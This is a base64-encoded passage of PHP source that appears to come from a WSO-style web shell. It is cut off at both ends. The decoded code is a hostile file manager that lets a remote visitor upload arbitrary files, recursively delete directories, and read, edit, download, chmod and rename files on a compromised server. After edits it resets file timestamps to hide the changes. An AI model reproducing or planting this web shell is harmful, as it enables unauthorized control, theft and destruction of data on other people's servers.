L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGJyIC8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQogICAgICAgIDwvdHI+IA0KICAgICAgPC90YWJsZT4NCiAgPC9kaXY+DQogIDwvYm9keT4NCjwvaHRtbD4NCiI7DQogICAgDQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gbWFkV2hpY2goJHApIHsNCgkkcGF0aCA9IG1hZEV4KCd3aGljaCAnIC4gJHApOw0KCWlmKCFlbXB0eSgkcGF0aCkpDQoJCXJldHVybiAkcGF0aDsNCglyZXR1cm4gZmFsc2U7DQp9DQoNCg0KDQpmdW5jdGlvbiBtYWRTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KDQpmdW5jdGlvbiBtYWRQZXJtcygkcCkgew0KCWlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsNCgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOw0KCWVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7DQoJZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsNCgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOw0KCWVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7DQoJZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsNCgllbHNlICRpID0gJ3UnOw0KCSRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCXJldHVybiAkaTsNCn0NCmZ1bmN0aW9uIG1hZFBlcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD4nIC4gbWFkUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIG1hZFBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gbWFkUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KfQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCglmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsNCgkJJGRoICA9IG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgCQkkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCgkJcmV0dXJuICRmaWxlczsNCgl9DQp9DQoNCg0KZnVuY3Rpb24gbWFkRmlsZXNNYW4oKSB7DQoJbWFkaGVhZCgpOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCQljYXNlICd1cGxvYWRGaWxlJzoNCgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ21rZGlyJzoNCgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQoJCQkJCWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ2RlbGV0ZSc6DQoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQoJCQkJCSRkaCAgPSBvcGVuZGlyKCRwYXRoKTsNCgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07DQoJCQkJCQlpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkNCgkJCQkJCQljb250aW51ZTsNCgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOw0KCQkJCQkJaWYgKCR0eXBlID09ICJkaXIiKQ0KCQkJCQkJCWRlbGV0ZURpcigkaXRlbSk7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkaXRlbSk7DQoJCQkJCX0NCgkJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCQkJQHJtZGlyKCRwYXRoKTsNCgkJCQl9DQoJCQkJaWYoaXNfZGlyKEAkX1BPU1RbJ3AyJ10pKQ0KCQkJCWRlbGV0ZURpcihAJF9QT1NUWydwMiddKTsNCgkJCQllbHNlDQoJCQkJQHVubGluayhAJF9QT1NUWydwMiddKTsNCgkJCQlicmVhazsNCgkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQkkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQoJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnPGgzPjxzcGFuPnwgIEFjY2VzcyBEZW5pZWQhIHw8L3NwYW4+PC9oMz48L2Rpdj4nO21hZEZvb3RlcigpOyByZXR1cm47IH0NCglnbG9iYWwgJHNvcnQ7DQoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCgl9DQplY2hvICINCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMicgID4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KCSRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KCWZvcigkaT0wOyRpPCRuOyRpKyspIHsNCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwNCgkJCQkJICdwZXJtcycgPT4gbWFkUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCgkJCQkJKTsNCgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KCQllbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KCX0NCgkkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQoJZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgew0KCQlpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCgkJCXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgkJZWxzZQ0KCQkJcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgl9DQoJdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7DQoJdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsNCgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCgkkbCA9IDA7DQoJZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIHRpdGxlPScgLiAkZlsnbGluayddIC4gJz48Yj58ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyB8PC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/bWFkU2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ2RlbGV0ZVwnLCBcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJykiPiBYIDwvYT48L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8L2Zvcm0+PC90YWJsZT48L2Rpdj4iOw0KDQoJDQogICAgbWFkZm9vdGVyKCk7DQogfQ0KICAgIA0KICBmdW5jdGlvbiBtYWRGaWxlc1Rvb2xzKCkgew0KCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkNCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQoJCQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsNCgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsNCgkJCX0gZWxzZQ0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSghQGZlb2YoJGZwKSkNCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfWV4aXQ7DQoJfQ0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgew0KCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCgkJCWlmKCRmcCkgew0KCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgkNCiAgIG1hZGhlYWQoKTsNCgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQoJCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+RklMRSBET0VTVCBOT1QgRVhJVFMgPC9wcmU+PC9kaXY+IjsNCgkJbWFkRm9vdGVyKCk7DQoJCXJldHVybjsNCgl9DQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KCWlmKCEkdWlkKSB7DQoJCSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQoJZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP21hZFNpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLm1hZFBlcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQoJZWxzZQ0KCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCglmb3JlYWNoKCRtIGFzICR2KQ0KCQllY2hvICc8YSAgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPjxzcGFuPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPjxzcGFuPiAnLiR2LicgPC9zcGFuPiA8L2I+JzokdikuJyA8L3NwYW4+PC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnZWRpdCc6DQoJCQlpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOw0KCQkJCWlmKCRmcCkgew0KCQkJCQlAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOw0KCQkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOw0KCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoICFAZmVvZigkZnApICkNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQl9DQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2hleGR1bXAnOg0KCQkJJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGxlbiA9IHN0cmxlbigkYyk7DQoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KCQkJCXN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCWlmICgkbiA9PSAzMikgew0KCQkJCQkkbiA9IDA7DQoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQoJCQkJCSRoWzFdIC49ICc8YnI+JzsNCgkJCQkJJGhbMl0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPWJsYWNrPjx0cj48dGQgYmdjb2xvcj1ncmF5PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCgkJCWJyZWFr